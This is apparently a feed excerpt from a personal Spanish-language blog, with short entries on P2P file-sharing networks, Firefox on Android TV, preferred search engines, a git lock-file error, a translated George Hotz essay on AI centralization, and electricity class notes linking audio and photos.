<p>Las <strong>redes P2P (peer-to-peer)</strong> permitían compartir archivos directamente entre usuarios sin depender de un servidor central.
Ejemplos clásicos:</p>
<ul>
<li><strong>eMule / eDonkey2000</strong> → muy populares entre 2003 y 2010.</li>
<li><strong>Ares</strong> → más simple y masivo en América Latina.</li>
<li><strong>BitTorrent</strong> → más avanzado técnicamente, sigue vigente.</li>
</ul>
<p>Funcionaban bien cuando:</p>
-
Firefox AndroidTV
https://imlauera.github.io/firefox_androidtv/
Sat, 11 Oct 2025 20:40:29 -0300
https://imlauera.github.io/firefox_androidtv/
<p>Instale Firefox para celulares con uBlock en Android TV pero para que sea utilizable tenes que desactivar las autosugerencias y usarlo con el mouse y un par de cosas mas que no recuerdo sino se queda trabado cuando intentas ingresar a alguna URL.</p>
-
Buscadores que uso
https://imlauera.github.io/buscadores_que_uso/
Sat, 11 Oct 2025 18:15:09 -0300
https://imlauera.github.io/buscadores_que_uso/
<p><a href="http://www.tastyfish.cz/startpage.html">http://www.tastyfish.cz/startpage.html</a></p>
<p>Por defecto <a href="https://wiby.me">wiby.me</a>.</p>
<ul>
<li>Marginalia.</li>
<li>RightDao.</li>
<li>Mojeek.</li>
<li>Yandex.</li>
<li>4get.</li>
<li>SearX.</li>
<li>DuckDuckGo.</li>
<li>Yacy.</li>
</ul>
-
Another git process seems to be running
https://imlauera.github.io/another_git_process/
Fri, 10 Oct 2025 20:18:31 -0300
https://imlauera.github.io/another_git_process/
<p>Another git process seems to be running in this repository, e.g. an editor opened by ‘git commit’. Please make sure all processes are terminated then try again. If it still fails, a git process may have crashed in this repository earlier: remove the file manually to continue.</p>
<p>To resolve the issue of another Git process seemingly running in your repository, which prevents you from executing certain Git commands, follow these steps. The error message usually points to a situation where Git believes another process related to Git is active, possibly due to an unfinished Git command, a crashed process, or an editor opened by a Git command (like <code>git commit</code> or <code>git rebase -i</code>).</p>
-
George Hotz: Centralizar la inteligencia artificial nos hara esclavos
https://imlauera.github.io/centralizar_la_ai_nos_hara_esclavos/
Fri, 10 Oct 2025 17:13:26 -0300
https://imlauera.github.io/centralizar_la_ai_nos_hara_esclavos/
<p><a href="https://geohot.github.io/blog/jekyll/update/2025/10/06/always-been-at-war.html">https://geohot.github.io/blog/jekyll/update/2025/10/06/always-been-at-war.html</a></p>
<blockquote>
<p>Te atrapan y te moldean.
Te miran de maneras repugnantes.
Nunca deberías haber confiado en Hollywood.
— <em>System of a Down</em></p>
</blockquote>
<p>He estado mirando <a href="https://www.youtube.com/watch?v=ZfOwwCoR0dE&list=PLTChAOKYIS4QYWmMt83YuQcKyjuocSrT5">esto</a>.</p>
<p><strong>La tecnología fue infiltrada de tal manera que olvidaste que alguna vez fue diferente</strong>, pero mira esa película enlazada. Era diferente, y ya ni siquiera lo recuerdas. Una captura perfecta por parte del poder.</p>
<p>También leí <em><a href="https://marshallbrain.com/manna1">Manna</a></em> este fin de semana. Plantea una buena pregunta: <strong>¿las máquinas trabajarán para nosotros o nosotros trabajaremos para las máquinas?</strong>.</p>
-
Electricidad / Clase 77: [FOTOCOPIA Diagrama bomba] Leimos PDF en proyector. Teoria: Contactor y sus partes. Rele termico.
https://imlauera.github.io/electricidad77/
Wed, 08 Oct 2025 22:18:51 -0300
https://imlauera.github.io/electricidad77/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1g9huW31UGih">https://voca.ro/1g9huW31UGih</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-309">https://archive.org/details/record-309</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=euI7UYloCpw">https://www.youtube.com/watch?v=euI7UYloCpw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXleiKEutONRMgDw8o1g1yICuSYQO4Q49Bjr35jPqtsVIgI_SuLPwOlSLncKpZDflbWR-WMQaouKV0CMX830RITOgpcTMJDRJkJtF0y5SrfU-Wer3srfKVgEI4VL1zIddOH5XEhNhw8TvCK_y4jkIq63g8AZRTilYF6iKCvVBT47_tZIBz9TdoBUeAMtw/s4160/IMG_20251008_191358773.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_YbYdrz9BfwjAmxH_5bN4jInExiN62kkZoAf_Yngw7MH1UR80Jh6-3Cpb5SJypIRdWS3EGmVelb_rjuBftkeBhmljt-kshyphenhyphenQdrfXK9Gb8X8wUs83c9bvLBMVgEobv_5DH-2RpW3_TeQUiSrQltEiZ3LzjYowSDX1CWSnj3czuzptXHmMrWLYihG1rlSU/s4160/IMG_20251008_192008470.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKhD8BlxMzIoV-HnH3fg99gqAg5SFwlhU94sOjn1mbOrgJq-7a5j4n_CGWECaE0JLkF0TVmCrxnxRf7JGFp936i056qHZqsFx2NU3ogPQm5SgIIiSiHGgvbMOxrwkyXRLqgDAIyTMf_lmhCffS5XxIrQOZCYF6QbwK0ZnuuZWo3u0IzFEft-Va4_oUJb8/s4160/IMG_20251008_192135171.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9N-b0APJhyphenhyphenvJvFvYOVw-oGazTtLQFe2RVhS5HTv9_BSyRV5hTtp3Ou_vmZjmWuSSSLAwhwXds4OEcZxQ2amaegz5571pM1NSmE7xrmjCCcYIRKsjH2lc3AmrBJRi-7O_mRJ0qAgR1m26jV7uL5ZCpMSimYQuuCkPPFOFHRK8w0m44BdMYziVUILLmwoI/s4160/IMG_20251008_192930944.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNxpx8al95VKXJOQxF_fGsCS1Fjsxmx6e8en478jp7I0OW-3kyrqLE0KiZVhRAz1mipwFNI0ni47mq6cLIuIe2h5x7eOkL6tEW4R51Bw7-LWgHlE8VOW2ESKhDEsMCgAbUKeXeh1TZp3QeQOved0PdI39_i8P40k8EAoidLzjeYqQ_mfs8rI_NUU_2t-o/s4160/IMG_20251008_193158444.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFiajd2QQ4oXIbN89WobXdEHlQGRQVe9KFytATseL_HZ1dHj30_bhYdmQFUJat6c-90UkoZCtVtwH_EasTS2mPw77a9lx6BUzkJn57B5R85Ug8g6KNCY3rGQ06swDAnh2tZqgvf26MJf0rydG4XGBRyzcMDF8eF5kdUlaB4hSq6u3uIgTHDOp4KcPVq_0/s4160/IMG_20251008_193411379.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjufjgeLjuaXP-ik6tRDbAtK4EAk32DlRC6MBNzsGAJKHbJBMonijbKrnPS_bq75pUTfGxlaZUFA3mMMpEAzZejgDzrwNXjiiI7AuqvShIhjjTJzXsw6PxVP8VNcr8Jyg9GZiI9kG8u7i8vam7vcdcVQYcO4LzlulqrLSkYEWT8bH2yGdojqlahN_z4qiE/s4160/IMG_20251008_193415084.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin8E8H5ivarxQu4mWT9x71EwUOtBGbtH5MTyLTR7zpu1DI6mg8ZzcXFT74EultDX90xOEg7rNXDE7uOhkIAvXRT7TT6BNvvz174qn358433Sz-KVSE-q3jAmw2TnHUPNq-3prMzhaq4pu6M2tAkP5HqoyR7mcOPFKgCcNPJFaixPP0P-FLqAAdy5QThrA/s4160/IMG_20251008_193532905.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN_plcHn87Uz4TYG-2ZwtOYrtfwq79dxjdx_BQoQ0W_2YCGo-U8Pl3Tbz_Sbgb3BsnVAqBei8O-HM73sJp38plGqhvnWRmBJcUuva748AT38YRDKwfNDLFctOWfOSDpr2pKcktjnquzPSEwk85ei4XNpelDg-dtyIvHYfxI8rFssf_jTn0bnWyacPdymo/s4160/IMG_20251008_193804782.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOx8cMP4OIahn2DyleH6DOYxInVgl5_p-cwEtwnv7wxyP6CN2vvxCtOF6nfvdN3_dl9iximUuu_C5dOU25JPT3olVAaPtZFRBo5CU1HwdUnsd2gYAxtZW1mbJo8nmWTHbZyPIGxnoC4d5-26wCQEGY081-kqv5H1DqtqVJoS5q8ZhJJ116P-2vworBswg/s4160/IMG_20251008_194639583.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_6npZ99sNGXE-Omwp_GtrXEoOvlLlBjGDbuyIzfXMmBmBkvSpPj0Z0Kgm0pF14OAeCNoNHAA_FsBvPz4Y36Uh2tWdt_5JJCPLZelJlz3BFhK8R9W0h0Roam6TSJ2PmH4AGSvijjz2UQjqiPr4AtSvsOdyOHu5V_YvrphzzmoGur_BTOdHlrP4nxT2aTU/s4160/IMG_20251008_194641539.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-9UoquR4lQMU5nUIo15hjI8zLdmfz63qQWtR-r8-Tv9Pnaioer5KHFDox7euMD-pen44yI2uPxSNXjYGFfGIjw7dXEeL6V_IpjXgTWv2yJSjt5ScNSyvO9ms_vgwPZPuQZ7GPiXpV12YQx3TjvaWmBmqGXmhZ4miTyKBdd2BggsDdPQt-IlFAXYlSDiA/s4160/IMG_20251008_194647243.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcax5M9h3MfLi4g0yDONmW7yyLvtUelgrSkSCPk10L1RwSIAMnBFVBvzdid2YU9BDjfZ_m9JZjD_vw_xPpMWpvic2atRYhsFryA5nOJEYyDioi6nuvpwgGtx7CTWZdzxIgPaxig8iW07uv3i-VvagVsiJuakM-ayjg3iTE64zyrvMekjuZn4DqyNhc7v8/s4160/IMG_20251008_194919771.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin8Ml3GR7c9szHRdpxfY6ALg_8Ec82qGt-paUQvqGWPliprQjv4lysx6Wd7IecG53nZz2katJu-uMlYhxuWHbhdI94KwjwfT9gRECxzhQkEPoXlDY8L0sSCnpCPdTXogeVuIYFOampDBIyDk7aQvQK7lkVQUZvSGs8e6XSz9IN0qP7K6NwIKVIqCGO2XM/s4160/IMG_20251008_195908846.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHm8IilEmUBpMP49i4W1J_pdFlWknQOC2lcq-XVh3nN1T080pjRdn2H-Oqn4NzjUFsJTdVDWu2lpfGSqMYymlqv7GNB0phT5kla6A0UWTgsneTqsQeupLjNFm1YsqAG7tOnDEyIJdgKnWrCRPZYiAlpvSWb9ilPjPzt2ZpKYlsecvASJvHdLRa000qSzo/s4160/IMG_20251008_200214284.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUj0Msph3nt6aDt8sDFfjpiq4yKyeb1Uy0uol8oalpJ1qBWoax7Ab7DKnrWikeJkTtJy1UWRzt-S0eFc_iNmsqhr5tVvahD6pGb6h-vC04zIuGCNpF3N2ed8UuEMxvJrmWZDn8Fdwz9R-aCbs-7LPzBqAKKSldNRgysEMQtrBZaogOF2teUJ_1Q0DJWjo/s4160/IMG_20251008_200640489.jpg" alt=""></p>
-
Como era internet antes de que las "Big Tech" centralicen todo.
https://imlauera.github.io/como_era_internet/
Wed, 08 Oct 2025 02:44:45 -0300
https://imlauera.github.io/como_era_internet/
<p><a href="https://geohot.github.io/blog/jekyll/update/2025/10/06/always-been-at-war.html">https://geohot.github.io/blog/jekyll/update/2025/10/06/always-been-at-war.html</a></p>
<hr>
<h3 id="-traducción-al-español">🌍 <strong>Traducción al español:</strong></h3>
<blockquote>
<p><strong>“Te toman y te fabrican.
Te miran con asco.
Nunca deberías haber confiado en Hollywood.”</strong>
– <em>System of a Down</em></p>
</blockquote>
<p>He estado observando esto.</p>
<p>La tecnología fue infiltrada de una manera tan profunda que olvidaste que alguna vez fue diferente. Pero mira esa película enlazada. Era diferente, y ni siquiera lo recuerdas realmente. Es una captura perfecta del poder.</p>
<p>Este fin de semana también leí <em>Manna</em>. Plantea una buena pregunta:
¿Las máquinas trabajarán para nosotros o nosotros trabajaremos para las máquinas?</p>
-
Electricidad / Clase 76: Tablero de bombeo. Contactor. Rele termico. Diagrama.
https://imlauera.github.io/electricidad76/
Tue, 07 Oct 2025 23:13:56 -0300
https://imlauera.github.io/electricidad76/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1euH6yhrHAv1">https://vocaroo.com/1euH6yhrHAv1</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-303">https://archive.org/details/record-303</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://m.youtube.com/watch?v=BhRID32SaCo">https://m.youtube.com/watch?v=BhRID32SaCo</a></p>
<p><a href="https://www.youtube.com/watch?v=9G8xkNQiNNw">https://www.youtube.com/watch?v=9G8xkNQiNNw</a></p>
<p><a href="https://www.youtube.com/watch?v=ZAf3-i2TxdQ">https://www.youtube.com/watch?v=ZAf3-i2TxdQ</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRd-WdDRAKxFeDp1oMUazXz_15b3YqeuL6AdgNbz8Wo3ubVYD0B_59Pn4gsjHn544G7FtuZCOOI1Pesk3bRKty2xOQmAXyb-501qRrHoHBhAP3dsZTNace-s9yEnIx9Ijo-XgoMFnOO6_cxLwexxGfFB2PV5QNPeDa0lOLtDQY4oPT7xxRQfMa9ULe3OI/s4160/IMG_20251007_193234682.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiumYRrWx0lbHADl7ZhtAdFZuQk7SOSpeLM_qQ2fxCHNoed-TMNSyIttdy-zb6RMBl5cTQT3BKB4Ovl3Aspjp6Kb0-Y9ch6fLGfRGVr5-ixMaPCpGTmvLcwEEFr8dLqcDV4_B4kEEX9LiYSBy8E1K-xFhu-6CsmwAVK_o1kvmKKgYmtLNq40Og6bc4su0k/s4160/IMG_20251007_193259202.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNfyc3RyOYxaktiptflNSJ51pA_l1pERN1yijGf60N5nuxqh3iDa0MuUuITbDuEZrWtuy9yVh-k_vZUghXGaKMfMkmRp28-MAhEJpOc_tnVciDFjQgb-G6K-jl6_BMxveAqYB07sqQ1eInZBQhSStVDj0WU5OYr2sfrkDx68KJhxty2DUxmXRJccj3Aao/s4160/IMG_20251007_193303028.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixVaE6juxigBEfqDxvY8bvuVRhPZGH9F7pYYkzesRmWkZtaxnEKDbUNUkoj5yGV_tLjfPeMswRG_ksnS7udZ_Lt-9mLajI2Zj34wmqBzpxHE7LirNvKZxUFG5sgtMe-fmi3IyKnPPJYQ4pMJnQIKP9y9Imeb1moZUQ7-zrvBgVkrK5tEJzKKy2C9Id4dE/s4160/IMG_20251007_193309014.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRNbPVe2OexgX1muoZboI7C-xnhyphenhyphenO1cgN7-lHcJcLzgVT9T60cjMgI1XH_c9tyQi03wh8-DBIiSHUPSeOT33njj9FKVCI2cy97b3ZjIRp6o3BK9pZBhCdcAD7dWGG7psoF8FoWBec8olyGVzYvc1eT7CK8FZzpGbmHkGF61DwOOD5VhaEw95qxK0UONSo/s4160/IMG_20251007_194058241.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWFNFixE2mtIW9yCsFBoTSfjeWOVks5pwJ6g7TQbzXfQzinaATyGc9sIeBCs-OM3O_HSGPCeIxgoXeV1UqyIY-skgoFle5lMp7PBpz4qOzXnljZJ8QgGxRkRL77jfFvMPTHmxrIH8kM8mHJwXsoZnC_lKzausiay6kwYKYONgOVK7fm5NhS6qS1gMDtqE/s4160/IMG_20251007_194100515.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtZuLQwSBHi7PylqNl0vBymd5E6SL9Dt928LRNN1RczjyBoJMoqBesyNbGRPQwigIuuptA_b1MvNYVOFYJhQgS0Fu7yGNCLc5VUGTdLWv8z_zkToh1I6n-8xNDwqu8ZRK3kIEb3nPXOD3MrRCfGoMcWWbZZzBf19-E2EzquDQSUzGn8mY0iXYIxlPqvNs/s4160/IMG_20251007_194201003.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicFqSdZnHcEtQWIDZcgFXILXJodFooShnS8Vk8moDdWmdWyOueMIUOYKc39hVKo_BZnbHxpTvz52V8qCs-Qmg3LaFMXWK9fimvIh6yFcwz7C6m26_Hecf1SA-DBwjxm2lzHVbXuz6Tq6EXU4cBNUiY1tZ4J7Bp5yHrR0J8tgHknqjlCEnwT2b_ci4_mxY/s4160/IMG_20251007_195032722.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja2t02-gRx4ASK_9-gJsyRFmgmU6HooKSdGR5jNpAAnX5gi5P97CKs7kPurGw8FbzOCTKe68DG2Kk1b2jImlkAG0K6MeN86bAiCHRpeYY1DANyl9rJDRcjDTDUNXdsNxYaRFDdtZt0ial46hqATHdoTiuIiYey-JjzVD367YoSFJkF5f_5I3YUbE3qr70/s4160/IMG_20251007_195459912.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCUz7arBHpVQewO8uZ28mESxCrncLwDxQPjm3Z6EzobNPmS0s8-Vrj-eCK4WvHygVK6ZlEei0k147hAbkdDMfTDJplka7FfZ4rM5N_HQuCSsSuY_QpEpKgVq_iTmO_OydQbpXNBo-nhnLjpdBiNByNmWqWDS9xiAirPjYpiOyGG43ljrFDnb0NjSPHj_0/s4160/IMG_20251007_195935483.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCGtQvm9daJBtupd1BVJc3Qcg5pfiSgrJHE3JA4b0ro6DZ8ya8KbjaAOi6lnK7wXoLBHt_tIaZvblARRc8eP80h6glyYvCYl-9BMCHWKFBkmOpAoewC7-yjOwWGmn2m-NOp_1wq4C5uU2YTuOOawR6ktnc8jAbo51BcWlMGDvCebYl6pM0eeKjMZ4bmRk/s4160/IMG_20251007_195938979.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiec3HPoBqn6HMrGgVjjaxuuOnxqcKlxtqEaI3xaECnNWkqHHQIUqitK00RnMwurGTTurhp2iTEl-rC06G4pecmi2Ebis3Uk_6F1E9gMQzIjGnqvILgL2LcWyTCVJ4VWrtI2FtYn7P03pl_Tk1nClraJookH71wJJHm3K5_gQTF7lnSGNmYUV1FRx4Z8p4/s4160/IMG_20251007_195949517.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXjgNpre7TpuBJDRD-FZ-LF6vaKAZkZmJToK4Gi3CwrqcKYnZdCaO3jNdMB1K3_qxmM8l0fiRG_B7SRLFYtMXILBkENFJqr8UC7Xn8GfyhmV4GZwuVbTHEEZ8QSPnyzVsarRmbu0czJgUNaxOByGYn34pnfHAo4qZ5WMk3dkI0p-rU8HqQ9JS4ZC3tuFg/s4160/IMG_20251007_201908588.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9zOQ1LCacXDRnHzRvyDp6xhzj_IR-TBIFrSKNkDQ-4l7qpAJRpiaACQ8f382BvHF_xPT7o-mECQo9Q15iOIn4yaXG9j-ApHmFWhrFSRlmiGfsHTzDIErZ8nn6qtz6dN58A7xxN_Ruf4GeeZyfnnkTauPHyFknzTTfidnz-mIufL2PvQArqobV5WT6lC8/s4160/IMG_20251007_201930291.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7rYZXsFkQg09eGb9rWSJ7gWVh67AtoTrKb-haDGQIrYiTgRcR-Dg7Z8mWt3n2tE_R_MNWFZI_NumZdI9F58g3LfuxJ3WV8rSiC-z6BsKG2imyf7okgOiK5FFs4aFTC6GDS_CDknIBg4j6x8186glDNvRQfNXh-WUt1VjsdhfYpQUNlWWPEaPnUczvkEA/s4160/IMG_20251007_201932345_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcsIEi1TM4_trcp_YysMGlZofN8y-x7HAQt2Y22G78FAfMZiOmeQcsPSCP8fU5uaOZAENV1_uZ4RMZ3vUPtCexcdoveyG2dOLwaWM-BFddaa8Uqfi7vbjRRQsbEJ4syCmRo5REBLnWkeVEyL09u5eIg5pgTxcKLM3g5s6aOOGv16-_tE65VtaAR9b30iw/s4160/IMG_20251007_201952244.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix8Z9LWOHrF_Sy97tzyPJYcGm0bAVVDaTMf0QMnOhDZbVG4R9Lc6WJjDX3IxO9LRFCX4pPjM3ikSAlsbzFe27-qbfCbXCQeC8jOaVWI6m70GHtWYRa2lZPjTmLvl826ndaQ-RE0Z0pCAkRWY9QiRCIu7mVRoFnL680klKg1cLxV38ZJ_RF0JyxcHLquKo/s4160/IMG_20251007_201956690.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgztf2-ZL2YxuseFf6Ti-S_kkHai5gENKDlC4rm9_Nvypiyz5SRkTwWTbroFA1CHNsLnXHXQ4yaJWZaxCXS2KHPfoRAzAgr0ae9m-aSdnuQ0dGvuhBuAy9hTtcQMhEThkl6zKUt06TWSi4dgU__E77jGbA4ZEhdckN0Cs3Li8h2GEkg6ZxWa7O0nWMqK8k/s4160/IMG_20251007_202006762.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByyeL2bkzXbJZ60RHVgRlQ0s2VBmNoMyFw0eYGeyWEi1Qk6AfMngipRf8sVf9iMhY1BNT90HL_R042Vvui43gwxYFUTEAxP1jJpzV6ZzsE5BDxfFhqYI9u6Ryww2CSrQg3OrbNa65j2wnKyYCvki6yhzAjV2OET6Cl0RD4zsy3ZGbWRpgZ1ieK8e-fkE/s4160/IMG_20251007_202012286.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtZrE1ZIvfClHumURPiEnfa-v91hplTWXHi9oPab2MiIKznNv5ccQcT5u46DWPYKHQGpLmxhS2JMBsdvP9CZSFdAeWgv58tsK9BbWf3PNB0Nw_YsF7VE5W9uElY_OHoubdP1LWmkTUwsVpC8NT0GGg8MEv83hiWpigz7eezyJ32KrH9tF-5KQsFg7wLfQ/s4160/IMG_20251007_202014917.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc7tQmvnGwm-j7GQw1txn4ThdsbAJLYTnG_CvW7ixSkXlLbsnkgSI5m3e4EFCvH5-N-ldMWThX8bE7MkU4hnyIJqQQAyHMlC6V8rL1E_nPvaQ0CXG-s05pszovkWlPf-Hy8nv-4CkAgqvHsvWjFMZhI9PDhQkkXGs9tRBJaETJDgpWbPVsyQEUVNji-HU/s4160/IMG_20251007_202025379.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhL6sKOMGxvyQu6pvX8Wx34igEQ-lPZeSJdDB8-4Bt9khgMPARF818OlaPsCPJohezweQTKhZDpcNlVXhahmCC1183HrL9CMGPFZDUR7BCDM8kJqIXsO052WPsWn7nt4sZBwW8lZsjfH38XGzOBaEAp_dKcAVeO8zPBocoRMzQ98Gu7aG91nkBj3RKXwwY/s4160/IMG_20251007_202117460.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHp_cnXAzSkRzQrAkHFhMm1ZXGNIaJmTJG2YNTcPOblzLVRtwkgdcZAWUua60cWpPT9d4CKb_BEVxgsoqGSWjK09Oajw9SwZHsbPxaAxpc4c5x9fsqefI3Gl89DOa4cL6mxFQfGF8VzEX286F5YXQJnxGQ_CJE0TidIEo7wqoQuBtThD03RdtfanGpvUY/s4160/IMG_20251007_202215633.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLonxb8BnOw0zYlrlBQCO_JkT8DhOSW98zcu9zmXSKU7hHB0hEEMHqKuM-RDWrKDWtkNuXbPldUmpLPmfPdhUmRgiTHyY80C0gzgBIRtgIRtTbdnGZT_Fpi0-Y_Y3sXaOQ5G-7mhZuDy-44OYlw-Oql3GE6l0D3tO5B39uPYDPTlzJAVKAPc3Z5F_gvpo/s4160/IMG_20251007_202228414.jpg" alt=""></p>
-
Electricidad / Clase 75: [FOTOCOPIA Disyuntor] Ayudante explico como soluciono instalacion casa anterior (explicado clase anterior). Formula caida de tension.
https://imlauera.github.io/electricidad75/
Mon, 06 Oct 2025 22:22:21 -0300
https://imlauera.github.io/electricidad75/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1nUTnZdgzUQU">https://vocaroo.com/1nUTnZdgzUQU</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-291">https://archive.org/details/record-291</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/mJBupgdgrYc">https://www.youtube.com/embed/mJBupgdgrYc</a></p>
<h3 id="lo-subí-por-partes-porque-no-detecto-el-subtitulo">Lo subí por partes porque no detecto el subtitulo.</h3>
<p><a href="https://www.youtube.com/watch?v=VBBSIUzBqSg">https://www.youtube.com/watch?v=VBBSIUzBqSg</a></p>
<p><a href="https://www.youtube.com/watch?v=cfMHUYlO8Bs">https://www.youtube.com/watch?v=cfMHUYlO8Bs</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtAz65qDd2BwcBT344JXh6RGc_5TIYQOKz3zg_VfctqYAJ7I-ZGh50jnGnC-ZfAoqq_FnCjaDPiWJBwQIY2J5j2mYkYU5j4JjnW862fZWY3xRZb2kelFZ04yFawYpKJlTiOEV3Xz_wCqWjmIui8Q9Waw5IBp-peXLmg-IYeJOoY3TIlTYNXA1Q9pMd0gk/s4160/IMG_20251006_192010084_rotado.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrq4NM9dUFJTbi1lXhYtUs9OwzUdSvuZccXmADkE77GlW6cg1K-5OjaT2fwkCutQdZQ61Qce0vc0NDcWFcUlvaGL3F7oWALzMr-rnc6LuspQ1a68pLfycVBmyg8xB_Q_RZ-ECsikq5YWdKD7Kx_XZY9wp6orIXxtZHsodI8vSs3xiz1zkiXwubWdf3sVc/s4160/IMG_20251006_192032613_rotado.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYxnXiso1dMyyM_UsR1PuGMNB4ytLOGKALgEkcpRA9SH4TnjiGWGn1JJOVZHCOr6v586v01v1Vm4mQcuBFM7mCXEhLtP3qVIZ9S5W5Lf29eTChB-DS6trSkKytS8FQfCJc2wW1VyjUBTrPYA65YOc9dDLUMTWBNqusujyOdsLkVZa98R-WlJnU8RNtyU/s4160/IMG_20251006_192129176.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf7rNZcoEfeZh7yY9UBa4cOfDSTeIc4I2Fk0snNHiFt61eyEofUCcSZCgTJwBQ3cnfpu9Z-FFKnxY0GyQd1ktPwEOp9fav4W_fwI6ukJxCkIOB8CYiSZZjpgDniHHZ0zykxjQJgvE4S9D0AkrzcwA1a9lWkExAaTBQ6Fua4EomzSOUEpyZ0E5YFnxxKeY/s4160/IMG_20251006_193857387.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRYe6MtsZPMSn_-JK7lULYnBu767uwTWKjr72LTkCFgaN9vAZdPgclAkbR5r6qrKiMPH6EiI0HPUpkKsoxFMp4WU9EQyw9BM2LNWA_u0mkdHLRdcyGYL0Laxg_QBLW4E0JsZnZqc_ZyiuX7kSNgmnMFZe-QNll4Ks7f_9PwaA9gwemc-GMjcD3F0UibDg/s4160/IMG-20251006-WA0001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFeQwbfsQn51EG25HecR-W72Ph2x3uvhvLSaxjy4a7-bw12d0u9LrfZLOM9oMnXpK3GspSJNwfBcb76NrWsZvbg0-WSad3cd3g3BP8D_Z0IXLIBm4LnRGViPjZXmCPV5hfl7gQn62D4Swd3Vp34LkEYM5V213M4_vCA_FXCHUZggJhu3qpVSt5bPUimII/s4160/IMG-20251006-WA0000.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhQocPeExZ6h3ummgUnPPOOOqwVfYb_Jfic2nnF8CsX1dG6g0Ud3U2ZCSEAzhep_crWqojIT3J0ivZIBhtI1uef2qSPcAmH3yZXMsljxWV4UG1CpxinwujSdXkm8zR4a3h3Grt9b7izWrVfT8ru5VY8hFPPJB5DealD-EiXuiF187KDAqmznbiUL1Y8vI/s4160/IMG-20251006-WA0002.jpg" alt="">
